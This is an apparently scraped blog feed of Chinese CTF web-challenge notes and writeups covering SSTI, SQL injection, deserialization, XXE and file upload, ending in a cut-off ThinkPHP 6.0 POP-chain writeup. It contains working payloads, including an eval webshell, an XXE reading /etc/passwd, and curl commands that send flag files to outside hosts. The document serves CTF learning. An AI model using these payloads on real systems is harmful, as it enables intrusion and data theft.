<content type="html"><![CDATA[<p>学<a href="http://blog.sern.site:8000/2020/02/02/writeup/buuoj/buuoj%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/" target="_blank" rel="noopener">Amadeus</a>搞个刷题记录(其实是懒得写wp了)</p><h1 id="BJDCTF2020"><a href="#BJDCTF2020" class="headerlink" title="BJDCTF2020"></a>BJDCTF2020</h1><h2 id="EasySearch"><a href="#EasySearch" class="headerlink" title="EasySearch"></a>EasySearch</h2><ul><li>index.php.swp源码泄露</li><li>爆破md5</li><li>ssi注入</li></ul><h2 id="Mark-loves-cat"><a href="#Mark-loves-cat" class="headerlink" title="Mark loves cat"></a>Mark loves cat</h2><ul><li>变量覆盖,exit的时候输出flag</li></ul><h2 id="The-mystery-of-ip"><a href="#The-mystery-of-ip" class="headerlink" title="The mystery of ip"></a>The mystery of ip</h2><ul><li>smarty ssti,{{system("cat /flag")}}命令执行</li></ul><h2 id="Cookie-is-so-stable"><a href="#Cookie-is-so-stable" class="headerlink" title="Cookie is so stable"></a>Cookie is so stable</h2><ul><li>twig ssti 命令执行{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}</li></ul><h2 id="ezPHP"><a href="#ezPHP" class="headerlink" title="ezPHP"></a>ezPHP</h2><ul><li><code>$_SERVER['QUERY_STRING']</code>url编码绕过</li><li><code>%0a</code>绕过正则</li><li>利用<code>$_REQUEST</code>解析顺序</li><li>data伪协议</li><li>数组绕过sha1比较</li><li>create_function()代码注入</li><li><code>get_defined_vars()</code>获取所有变量值</li><li>字符串异或和取反</li></ul><h2 id="ZJCTF,不过如此"><a href="#ZJCTF,不过如此" class="headerlink" title="ZJCTF,不过如此"></a>ZJCTF,不过如此</h2><ul><li><code>preg_replace()</code>代码执行</li></ul><h1 id="BJDCTF-2nd"><a href="#BJDCTF-2nd" class="headerlink" title="BJDCTF 2nd"></a>BJDCTF 2nd</h1><h2 id="fake-google"><a href="#fake-google" class="headerlink" title="fake google"></a>fake google</h2><ul><li>flask的ssti模板注入</li></ul><h2 id="old-hack"><a href="#old-hack" class="headerlink" title="old-hack"></a>old-hack</h2><ul><li>thinkphp rce直接打</li></ul><h2 id="duangShell"><a href="#duangShell" class="headerlink" title="duangShell"></a>duangShell</h2><ul><li>curl无回显命令执行</li></ul><h2 id="简单注入"><a href="#简单注入" class="headerlink" title="简单注入"></a>简单注入</h2><ul><li>无<code>'</code>情况下用<code>\</code>注入</li><li>无<code>select</code>无堆叠注入,但能拿到当前用的表的数据</li></ul><h2 id="xss之光"><a href="#xss之光" class="headerlink" title="xss之光"></a>xss之光</h2><ul><li>这题….直接反序列化一个字符串<code><script>window.location.href='xxxx'+document.cookie</script></code>就行</li><li>预期解是反序列化<code>Exception</code>类,利用<code>__toString()</code>造成xss</li></ul><h2 id="文件探测"><a href="#文件探测" class="headerlink" title="文件探测"></a>文件探测</h2><ul><li>php <code>srpintf</code>格式化字符串漏洞,可以用<code>%</code>将后面的<code>%d</code>转义</li><li>AES加密,密钥已知,明文是一个放在session中的随机字符串,并且难以破解。但可以不带<code>PHPSESSID</code>访问使明文为空,即可算出对应密文</li></ul><h1 id="GXYCTF2019"><a href="#GXYCTF2019" class="headerlink" title="GXYCTF2019"></a>GXYCTF2019</h1><h2 id="BabyUpload"><a href="#BabyUpload" class="headerlink" title="BabyUpload"></a>BabyUpload</h2><ul><li>上传.htaccess改变文件解析<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SetHandler application/x-httpd-php</span><br></pre></td></tr></table></figure></li><li>老版php标签<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><script language=<span class="string">'php'</span>><span class="keyword">eval</span>($_REQUEST[<span class="string">'LionTree'</span>])</script></span><br></pre></td></tr></table></figure></li><li>这题搞了个2048字节的限制。。结果正常的图片一张都传不上去。。无语</li></ul><h2 id="StrongestMind"><a href="#StrongestMind" class="headerlink" title="StrongestMind"></a>StrongestMind</h2><ul><li>写个脚本算术即可</li></ul><h1 id="强网杯2019"><a href="#强网杯2019" class="headerlink" title="强网杯2019"></a>强网杯2019</h1><h2 id="upload"><a href="#upload" class="headerlink" title="upload"></a>upload</h2><ul><li>GIF89a绕过<code>getimagesize</code></li><li>文件上传使用了<code>copy</code>而不是<code>move_uploaded_file</code>,利用反序列化去将已上传的webshell改为<code>.php</code>后缀</li><li>反序列化exp记得写命名空间。。忘了这个折腾半天</li></ul><h1 id="CISCN2019"><a href="#CISCN2019" class="headerlink" title="CISCN2019"></a>CISCN2019</h1><h2 id="华北赛区-Day1-Web5-CyberPunk"><a href="#华北赛区-Day1-Web5-CyberPunk" class="headerlink" title="华北赛区 Day1 Web5 CyberPunk"></a>华北赛区 Day1 Web5 CyberPunk</h2><ul><li>二次注入</li></ul><h2 id="华东南赛区-Web11"><a href="#华东南赛区-Web11" class="headerlink" title="华东南赛区 Web11"></a>华东南赛区 Web11</h2><ul><li>smarty ssti,{{system("cat /flag")}}命令执行</li></ul><h2 id="华东南赛区-Double-Secret"><a href="#华东南赛区-Double-Secret" class="headerlink" title="华东南赛区 Double Secret"></a>华东南赛区 Double Secret</h2><ul><li>flask ssti</li><li>flask debug模式安全</li></ul><h2 id="华东北赛区-web2"><a href="#华东北赛区-web2" class="headerlink" title="华东北赛区 web2"></a>华东北赛区 web2</h2><ul><li>xss 中<code><svg></code>标签的使用,使后面的特殊符号能够用html实体替代</li></ul><h2 id="Web4"><a href="#Web4" class="headerlink" title="Web4"></a>Web4</h2><ul><li><code>urllib.urlopen</code>任意文件读取,<code>^file.*</code>禁了file协议,有三种绕过<ul><li>空格+<code>file://</code></li><li>CVE-2019-9948,<code>local_file://</code></li><li>直接<code>app.py</code>读到源码</li></ul></li><li>伪随机数<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">random.seed(uuid.getnode())</span><br><span class="line">app.config[<span class="string">'SECRET_KEY'</span>] = str(random.random()*<span class="number">233</span>)</span><br></pre></td></tr></table></figure>通过读取<code>/sys/class/net/eth0/address</code>得到mac地址,能够算出<code>uuid.getnode()</code>的值,爆破可以得到SECRET_KEY</li><li>客户端session安全</li></ul><h1 id="FBCTF2019"><a href="#FBCTF2019" class="headerlink" title="FBCTF2019"></a>FBCTF2019</h1><h2 id="RCEService"><a href="#RCEService" class="headerlink" title="RCEService"></a>RCEService</h2><ul><li>PCRE回溯次数绕过</li><li>非预期解,利用换行符绕过</li><li>黑盒考这个是真想不到。。</li></ul><h1 id="BSidesCF-2019"><a href="#BSidesCF-2019" class="headerlink" title="BSidesCF 2019"></a>BSidesCF 2019</h1><h2 id="Futurella"><a href="#Futurella" class="headerlink" title="Futurella"></a>Futurella</h2><ul><li>右键查看源代码..</li></ul><h2 id="Kookie"><a href="#Kookie" class="headerlink" title="Kookie"></a>Kookie</h2><ul><li>登陆后改cookie</li></ul><h2 id="Pick-Tac-Toe"><a href="#Pick-Tac-Toe" class="headerlink" title="Pick Tac Toe"></a>Pick Tac Toe</h2><ul><li>直接发包可以覆盖对手走过的地方</li><li>正常下还真是下不过电脑..</li></ul><h2 id="Had-a-bad-day"><a href="#Had-a-bad-day" class="headerlink" title="Had a bad day"></a>Had a bad day</h2><ul><li>文件包含 <code>不存在的/../flag</code></li></ul><h2 id="SVGMagic"><a href="#SVGMagic" class="headerlink" title="SVGMagic"></a>SVGMagic</h2><ul><li>将xxe payload伪装成svg文件<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="meta"><!DOCTYPE <span class="meta-keyword">note</span> [</span></span><br><span class="line"><span class="meta"><span class="meta"><!ENTITY <span class="meta-keyword">file</span> <span class="meta-keyword">SYSTEM</span> <span class="meta-string">"file:///etc/passwd"</span> ></span></span></span><br><span class="line"><span class="meta">]></span></span><br><span class="line"><span class="tag"><<span class="name">svg</span> <span class="attr">height</span>=<span class="string">"100"</span> <span class="attr">width</span>=<span class="string">"1000"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">text</span> <span class="attr">x</span>=<span class="string">"10"</span> <span class="attr">y</span>=<span class="string">"20"</span>></span><span class="symbol">&file;</span><span class="tag"></<span class="name">text</span>></span></span><br><span class="line"><span class="tag"></<span class="name">svg</span>></span></span><br></pre></td></tr></table></figure></li><li>flag在/proc/self/cwd/flag.txt…</li></ul><h1 id="HarekazeCTF2019"><a href="#HarekazeCTF2019" class="headerlink" title="HarekazeCTF2019"></a>HarekazeCTF2019</h1><h2 id="encode-and-encode"><a href="#encode-and-encode" class="headerlink" title="encode_and_encode"></a>encode_and_encode</h2><ul><li>利用json_decode会自动将utf8编码解码</li></ul><h1 id="RCTF2015"><a href="#RCTF2015" class="headerlink" title="RCTF2015"></a>RCTF2015</h1><h2 id="EasySQL"><a href="#EasySQL" class="headerlink" title="EasySQL"></a>EasySQL</h2><ul><li>找回密码的地方二次注入</li><li>这里用了很少见到的<code>"</code>而不是<code>'</code></li><li>测试的时候可以直接用<code>'"\</code>这样的组合,一次确定是否存在注入</li><li>比较坑的是给了个没用的phpinfo,还以为要sql注入写文件覆盖opcache</li></ul><h1 id="SWPU2019"><a href="#SWPU2019" class="headerlink" title="SWPU2019"></a>SWPU2019</h1><h2 id="Web4-1"><a href="#Web4-1" class="headerlink" title="Web4"></a>Web4</h2><ul><li>无回显情况下的堆叠注入</li><li>可以用<code>;</code>检测堆叠注入</li><li>prepare statement 绕过关键词过滤</li><li>变量覆盖导致的文件读取</li></ul><h2 id="Web3"><a href="#Web3" class="headerlink" title="Web3"></a>Web3</h2><ul><li>flask前端session伪造</li><li>上传软链接读取敏感文件</li><li>linux下利用<code>&</code>多语句命令执行</li><li><code>/proc/self/cwd/</code>读取当前进程路径下的文件</li><li><code>/proc/self/environ</code>获取当前进程环境变量,得到flask绝对路径</li><li>curl 外带<code>@</code>读文件</li><li>awk声明无法使用的字符<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash">(III=`awk <span class="string">'BEGIN{printf \"%c\", 47}'</span>`&&curl xxx.xxx.xxx.xxx:9999 -T `<span class="built_in">echo</span> <span class="variable">${III}</span>ctf<span class="variable">${III}</span>hgfjakshgfuasguiasguiaaui<span class="variable">${III}</span>myflask<span class="variable">${III}</span>flag<span class="variable">${III}</span>flag.jpg`).zip</span></span><br></pre></td></tr></table></figure></li></ul><h2 id="Web6"><a href="#Web6" class="headerlink" title="Web6"></a>Web6</h2><ul><li><code>select with rollup</code> 注入</li><li>session原生类反序列化,soap ssrf</li></ul><h1 id="SWPU2018"><a href="#SWPU2018" class="headerlink" title="SWPU2018"></a>SWPU2018</h1><h2 id="SimplePHP"><a href="#SimplePHP" class="headerlink" title="SimplePHP"></a>SimplePHP</h2><ul><li>phar反序列化</li><li>phar反序列化记得用绝对路径。。又被这个坑了</li></ul><h1 id="EIS-2019"><a href="#EIS-2019" class="headerlink" title="EIS 2019"></a>EIS 2019</h1><h2 id="EzPOP"><a href="#EzPOP" class="headerlink" title="EzPOP"></a>EzPOP</h2><ul><li>php伪协议去除死亡exit</li></ul><h1 id="GYCTF2020"><a href="#GYCTF2020" class="headerlink" title="GYCTF2020"></a>GYCTF2020</h1><h2 id="Node-Game"><a href="#Node-Game" class="headerlink" title="Node Game"></a>Node Game</h2><ul><li>nodejs <code>http.get</code>设计缺陷,通过Request Splitting造成ssrf</li><li>pug模板命令执行<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">- global.process.mainModule.require(<span class="string">'child_process'</span>).execSync(<span class="string">'curl http://174.1.29.57/ -X POST -d `cat /flag.txt`'</span>)</span><br></pre></td></tr></table></figure></li></ul><h2 id="Ezsqli"><a href="#Ezsqli" class="headerlink" title="Ezsqli"></a>Ezsqli</h2><ul><li>在无<code>information_schema</code>的情况下利用sys库获取表名</li><li>无<code>union select</code>的情况下无列名注入<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1-((<span class="keyword">select</span> <span class="string">'a'</span>) = (<span class="keyword">select</span> <span class="keyword">substr</span>(<span class="keyword">group_concat</span>(table_name),<span class="number">1</span>,<span class="number">1</span>) <span class="keyword">from</span> sys.schema_table_statistics_with_buffer <span class="keyword">where</span> table_schema=<span class="keyword">database</span>()))</span><br></pre></td></tr></table></figure></li><li>看<a href="https://www.smi1e.top/%e6%96%b0%e6%98%a5%e6%88%98%e7%96%ab%e5%85%ac%e7%9b%8a%e8%b5%9b-ezsqli-%e5%87%ba%e9%a2%98%e5%b0%8f%e8%ae%b0/" target="_blank" rel="noopener">smile师傅的出题笔记</a>还有一个考点是mysql在比较时不区分大小写,需要用<code>CONCAT("A", CAST(0 AS JSON))</code>强制进行字节对字节的比较。不过buu上的环境不知道为啥用不了CAST,而且flag里也没有大写字母</li></ul><h1 id="安洵杯-2019"><a href="#安洵杯-2019" class="headerlink" title="安洵杯 2019"></a>安洵杯 2019</h1><h2 id="不是文件上传"><a href="#不是文件上传" class="headerlink" title="不是文件上传"></a>不是文件上传</h2><ul><li>insert注入反序列化序列</li><li>文件名中不能有双引号,需要用16进制插入数据库中</li></ul><h1 id="网鼎杯"><a href="#网鼎杯" class="headerlink" title="网鼎杯"></a>网鼎杯</h1><h2 id="Unfinish"><a href="#Unfinish" class="headerlink" title="Unfinish"></a>Unfinish</h2><ul><li>register.php直接可以盲注,过滤了<code>,</code>和<code>information</code><ul><li><code>,</code>可以用<code>case when</code>绕过</li><li>尝试用innodb的表和sys中的表都没成功,看网上wp都是盲猜存在flag表做的…</li></ul></li><li>还有一种做法是注册的时候将想要的内容放入username中,登录查看<ul><li>可以利用两次hex后是纯数字的特性进行二次注入<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0'%2B(<span class="keyword">select</span> <span class="keyword">hex</span>(<span class="keyword">hex</span>(<span class="keyword">database</span>())))%<span class="number">2</span>B<span class="string">'0</span></span><br></pre></td></tr></table></figure></li></ul></li></ul><h1 id="b01lersCTF-2020"><a href="#b01lersCTF-2020" class="headerlink" title="b01lersCTF 2020"></a>b01lersCTF 2020</h1><h2 id="life-on-mars"><a href="#life-on-mars" class="headerlink" title="life_on_mars"></a>life_on_mars</h2><ul><li>长知识了..第一次见在from位置的注入,黑盒下一脸懵逼..<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cur.execute(<span class="string">"SELECT name, description FROM "</span> + <span class="keyword">search</span>)</span><br></pre></td></tr></table></figure></li></ul><h1 id="Zer0ptsCTF-2020"><a href="#Zer0ptsCTF-2020" class="headerlink" title="Zer0ptsCTF 2020"></a>Zer0ptsCTF 2020</h1><h2 id="Can-you-guess-it"><a href="#Can-you-guess-it" class="headerlink" title="Can you guess it?"></a>Can you guess it?</h2><ul><li><code>$_SERVER['PHP_SELF']</code>可控,<code>index.php/config.php</code>会访问index.php,但<code>$_SERVER['PHP_SELF']</code>会是<code>index.php/config.php</code></li><li><code>basename()</code>函数缺陷,会把文件名开头的非ASCII值丢掉</li></ul><h2 id="notepad"><a href="#notepad" class="headerlink" title="notepad"></a>notepad</h2><ul><li>flask ssti读取secret_key</li><li>通过session进行pickle反序列化</li><li>无法弹shell,使用sleep无回显命令执行</li></ul><h2 id="urlapp"><a href="#urlapp" class="headerlink" title="urlapp"></a>urlapp</h2><ul><li>redis CRLF注入</li><li>redis <code>BITOP</code>指令,对key做位运算,并把结果保存到新key里</li><li>redis <code>setbit</code>指令,改变key的某一位</li></ul><h2 id="MusicBlog"><a href="#MusicBlog" class="headerlink" title="MusicBlog"></a>MusicBlog</h2><ul><li><code>strip_tags()</code>缺陷,允许在标签名中存在<code>/</code></li><li>注入<code><a/udio id="like" href=http://xxxx></code>,会被解析成<code><a></code>标签,绕过csp</li><li>不知道为啥在buu上nc收不到数据,需要用requestbin</li></ul><h2 id="phpNantokaAdmin"><a href="#phpNantokaAdmin" class="headerlink" title="phpNantokaAdmin"></a>phpNantokaAdmin</h2><ul><li>sqlite注入</li><li>sqlite的<code>sqlite_master</code>中保存了所有表名以及创建表时的create语句</li><li>在创建表时可以用as来复制另一个表中的数据</li><li><code>as "..."</code>将原有的干扰字符闭合到查询的别名里</li><li>sqlite <code>[]</code>替代双引号</li></ul><h1 id="GWCTF2019"><a href="#GWCTF2019" class="headerlink" title="GWCTF2019"></a>GWCTF2019</h1><h2 id="你的名字"><a href="#你的名字" class="headerlink" title="你的名字"></a>你的名字</h2><ul><li>flask的SSTI,但是返回的是php的报错…wp上说能用http头判断但buu上的环境只有一个<code>server:openrestry</code>,根本看不出来…</li><li>过滤了 {{ ,并且会把一些关键字替换为空,使用 {% 加双写绕过 {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popconfigen('curl "http://xss.buuoj.cn/index.php?do=api%26id=uHi9SZ%26location=`cat /flag_1s_Hera`"') %}1{% endiconfigf %} </li></ul><h1 id="V-amp-N2020-公开赛"><a href="#V-amp-N2020-公开赛" class="headerlink" title="V&N2020 公开赛"></a>V&N2020 公开赛</h1><h2 id="EasySpringMVC"><a href="#EasySpringMVC" class="headerlink" title="EasySpringMVC"></a>EasySpringMVC</h2><ul><li>java 反序列化时会调用类的<code>readObject</code>方法</li></ul><h1 id="VolgaCTF-2020-Qualifier"><a href="#VolgaCTF-2020-Qualifier" class="headerlink" title="VolgaCTF 2020 Qualifier"></a>VolgaCTF 2020 Qualifier</h1><h2 id="Netcorp"><a href="#Netcorp" class="headerlink" title="Netcorp"></a>Netcorp</h2><ul><li>幽灵猫读classes目录下的class文件,得到源码,发现存在文件上传</li><li>上传jsp马后幽灵猫包含</li></ul><h1 id="NCTF2019"><a href="#NCTF2019" class="headerlink" title="NCTF2019"></a>NCTF2019</h1><h2 id="SQLi"><a href="#SQLi" class="headerlink" title="SQLi"></a>SQLi</h2><ul><li><code>regexp</code>注入 </li></ul><h1 id="watevrCTF-2019"><a href="#watevrCTF-2019" class="headerlink" title="watevrCTF-2019"></a>watevrCTF-2019</h1><h2 id="Cookie-Store"><a href="#Cookie-Store" class="headerlink" title="Cookie Store"></a>Cookie Store</h2><ul><li>改cookie薅羊毛</li></ul><h2 id="Pickle-Store"><a href="#Pickle-Store" class="headerlink" title="Pickle Store"></a>Pickle Store</h2><ul><li>pickle 反序列化</li></ul>]]></content>
<summary type="html">
<p>学<a href="http://blog.sern.site:8000/2020/02/02/writeup/buuoj/buuoj%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/" target="_blank" rel="noopener">
</summary>
<category term="CTF" scheme="https://liotree.github.io/categories/CTF/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
</entry>
<entry>
<title>2020寒假3月校赛wp</title>
<link href="https://liotree.github.io/2020/03/12/2020%E5%AF%92%E5%81%873%E6%9C%88%E6%A0%A1%E8%B5%9Bwp/"/>
<id>https://liotree.github.io/2020/03/12/2020%E5%AF%92%E5%81%873%E6%9C%88%E6%A0%A1%E8%B5%9Bwp/</id>
<published>2020-03-12T09:25:05.000Z</published>
<updated>2020-03-12T09:54:39.000Z</updated>
<content type="html"><![CDATA[<p>这次的web都非常简单,没做出zs系列学sql的都要被zs打死(滑稽)</p><h1 id="zs学sql"><a href="#zs学sql" class="headerlink" title="zs学sql"></a>zs学sql</h1><h2 id="puppy"><a href="#puppy" class="headerlink" title="puppy"></a>puppy</h2><p>送分题,毫无过滤的盲注,sqlmap都能跑</p><h2 id="dog"><a href="#dog" class="headerlink" title="dog"></a>dog</h2><p>还是送分题,过滤了空白字符</p><p>绕过方法有很多,比如:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#异或加括号</span></span><br><span class="line">1^(<span class="keyword">SELECT</span>(<span class="keyword">ASCII</span>(<span class="keyword">MID</span>((<span class="keyword">SELECT</span>((flag))<span class="keyword">FROM</span>(ctf)),<span class="number">1</span>,<span class="number">1</span>))=<span class="number">1</span>))^<span class="number">1</span>=<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#异或加反引号</span></span><br><span class="line"><span class="number">1</span>^(<span class="keyword">SELECT</span>(<span class="keyword">ASCII</span>(<span class="keyword">MID</span>((<span class="keyword">SELECT</span><span class="string">`flag`</span><span class="keyword">FROM</span><span class="string">`ctf`</span>),<span class="number">1</span>,<span class="number">1</span>))=<span class="number">102</span>))^<span class="number">1</span>=<span class="number">1</span></span><br></pre></td></tr></table></figure><h1 id="zs学py"><a href="#zs学py" class="headerlink" title="zs学py"></a>zs学py</h1><p>打开发现User-Agent被显示了出来,把User-Agent改为{{1-1}}返回0,说明存在ssti模板注入</p><p>hint说与flask相关,flask使用jinja2作为模板引擎,使用jinja2 ssti命令执行的payload</p>{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}<p>300那个位置需要爆破一下,<code>cat /flag</code>即可</p><p>关于python的ssti可以参见<a href="https://xz.aliyun.com/t/6885#toc-4" target="_blank" rel="noopener">Python模板注入(SSTI)深入学习</a></p><h1 id="babyupload"><a href="#babyupload" class="headerlink" title="babyupload"></a>babyupload</h1><p>出这题就是想看看大家有没有做upload-lab。。</p><p>在webshell前面加GIF89a即可上传成功</p><p>查看<code>phpinfo()</code>发现存在<code>disable_functions</code>禁了命令执行的函数,但没有<code>open_basedir</code>(其实是我<code>open_basedir</code>后面多加了个<code>:</code>所以没生效。。也没测试所以就降了难度,本来是想看看大家有没有学到张渗透的webshell那题的姿势)</p><p>所以直接<code>readfile('/flag');</code>即可</p>]]></content>
<summary type="html">
<p>这次的web都非常简单,没做出zs系列学sql的都要被zs打死(滑稽)</p>
<h1 id="zs学sql"><a href="#zs学sql" class="headerlink" title="zs学sql"></a>zs学sql</h1><h2 id="puppy"
</summary>
<category term="CTF" scheme="https://liotree.github.io/categories/CTF/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
<category term="sql注入" scheme="https://liotree.github.io/tags/sql%E6%B3%A8%E5%85%A5/"/>
<category term="php" scheme="https://liotree.github.io/tags/php/"/>
<category term="SSTI" scheme="https://liotree.github.io/tags/SSTI/"/>
<category term="文件上传" scheme="https://liotree.github.io/tags/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/"/>
</entry>
<entry>
<title>安洵杯-iamthinking</title>
<link href="https://liotree.github.io/2020/02/19/%E5%AE%89%E6%B4%B5%E6%9D%AF-iamthinking/"/>
<id>https://liotree.github.io/2020/02/19/%E5%AE%89%E6%B4%B5%E6%9D%AF-iamthinking/</id>
<published>2020-02-19T07:29:15.000Z</published>
<updated>2020-02-19T07:38:33.000Z</updated>
<content type="html"><![CDATA[<p>thinkphp6.0的反序列化</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Index</span> <span class="keyword">extends</span> <span class="title">BaseController</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">index</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<img src='../test.jpg'"</span>.<span class="string">"/>"</span>;</span><br><span class="line"> $paylaod = @$_GET[<span class="string">'payload'</span>];</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>($paylaod))</span><br><span class="line"> {</span><br><span class="line"> $url = parse_url($_SERVER[<span class="string">'REQUEST_URI'</span>]);</span><br><span class="line"> parse_str($url[<span class="string">'query'</span>],$query);</span><br><span class="line"> <span class="keyword">foreach</span>($query <span class="keyword">as</span> $value)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span>(preg_match(<span class="string">"/^O/i"</span>,$value))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'STOP HACKING'</span>);</span><br><span class="line"> <span class="keyword">exit</span>();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> unserialize($paylaod);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h1 id="parse-url绕过"><a href="#parse-url绕过" class="headerlink" title="parse_url绕过"></a>parse_url绕过</h1><p>用<code>http://xxx///public/index.php/index/index?payload=O</code>即可绕过</p><h1 id="thinkphp6-0-pop-chain"><a href="#thinkphp6-0-pop-chain" class="headerlink" title="thinkphp6.0 pop chain"></a>thinkphp6.0 pop chain</h1><h2 id="任意文件写入"><a href="#任意文件写入" class="headerlink" title="任意文件写入"></a>任意文件写入</h2><p>一开始找的一个利用file_put_contents写文件的pop chain,不过buu上的环境好像没有写文件的权限,所以用不了。。</p><p>简单记录一下思路:</p><ul><li><code>AbstractCache</code>抽象类存在<code>__destruct</code>,会调用<code>save()</code>方法,因此去寻找继承了<code>AbstractCache</code>并实现了<code>save()</code>的类</li><li>找到了<code>Adapter</code>类,其<code>save()</code>方法的实现<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">save</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> $config = <span class="keyword">new</span> Config();</span><br><span class="line"> $contents = <span class="keyword">$this</span>->getForStorage();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->adapter->has(<span class="keyword">$this</span>->file)) {</span><br><span class="line"> <span class="keyword">$this</span>->adapter->update(<span class="keyword">$this</span>->file, $contents, $config);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">$this</span>->adapter->write(<span class="keyword">$this</span>->file, $contents, $config);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>这里的<code>getForStorage()</code>和<a href="https://liotree.github.io/2020/01/29/BUUCTF-2020%E6%96%B0%E6%98%A5%E7%BA%A2%E5%8C%85%E9%A2%981/">BUUCTF_2020新春红包题1</a>是一样的,通过<code>$this->cache</code>即可控制<code>contents</code></li><li>接下来就去寻找拥有<code>has</code>,<code>update</code>,<code>write</code>方法的类,找到了<code>Local</code>类,其write方法的实现:<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">write</span><span class="params">($path, $contents, Config $config)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> $location = <span class="keyword">$this</span>->applyPathPrefix($path);</span><br><span class="line"> <span class="keyword">$this</span>->ensureDirectory(dirname($location));</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (($size = file_put_contents($location, $contents, <span class="keyword">$this</span>->writeFlags)) === <span class="keyword">false</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $type = <span class="string">'file'</span>;</span><br><span class="line"> $result = compact(<span class="string">'contents'</span>, <span class="string">'type'</span>, <span class="string">'size'</span>, <span class="string">'path'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ($visibility = $config->get(<span class="string">'visibility'</span>)) {</span><br><span class="line"> $result[<span class="string">'visibility'</span>] = $visibility;</span><br><span class="line"> <span class="keyword">$this</span>->setVisibility($path, $visibility);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> $result;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>可以看到使用了<code>file_put_contents</code>进行写文件</li><li>exp:<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span 